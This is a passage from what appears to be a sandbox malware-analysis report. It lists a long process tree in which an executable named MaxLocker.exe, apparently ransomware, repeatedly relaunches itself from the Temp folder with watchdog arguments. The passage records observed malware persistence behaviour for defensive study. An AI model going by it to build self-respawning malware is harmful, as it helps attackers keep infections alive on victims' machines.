  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4608
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4608 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1584
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1140
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1140 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2632
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1260
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1260 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1400
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1824
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1824 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3284
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1848
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1848 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3320
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4704
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4704 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5844
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4368
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4368 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4696
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2484
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2484 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1308
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2844
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2844 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5804
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3340
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3340 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1408
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2736
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2736 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5944
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:304
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 304 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4384
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:976
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 976 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4692
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5376
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5376 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5132
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4560
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4560 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5624
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2768
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2768 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4756
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3516
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3516 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3344
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5720
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5720 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:548
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5232
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5232 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3528
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4432
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4432 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:6124
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5872
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5872 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1548
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3300
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3300 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4852
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2180
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2180 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4672
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:6132
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 6132 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:6080
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3720
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3720 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5004
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1812
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1812 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1108
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:6084
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 6084 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1860
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3092
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3092 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3132
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5704
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5704 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:864
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5476
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5476 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2316
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:804
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 804 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3692
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3104
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3104 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4180
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5588
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5588 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3652
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4956
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4956 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2144
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3088
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3088 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1400
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3284
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3284 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4296
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3320
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3320 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3920
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5844
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5844 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3612
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4368
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4368 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2824
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1308
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1308 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3976
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2844
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2844 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5060
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3340
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3340 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2932
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5944
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5944 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4468
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:304
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 304 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4952
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:976
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 976 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1508
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5376
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5376 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4512
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4560
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4560 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2984
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5544
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5544 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1220
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:8
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 8 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1804
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5256
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5256 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1036
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1652
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1652 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5868
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4976
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4976 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:6072
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3508
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3508 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1960
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5936
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5936 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4940
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1884
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1884 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5980
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:704
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 704 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:252
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:364
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 364 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4808
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:6012
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 6012 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2556
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1692
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1692 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3232
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4764
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4764 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5684
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1988
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1988 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:672
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:300
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 300 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:936
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:572
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 572 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1332
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2868
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2868 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4108
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4156
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4156 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5908
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5372
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5372 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5360
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:524
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 524 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3312
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1344
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
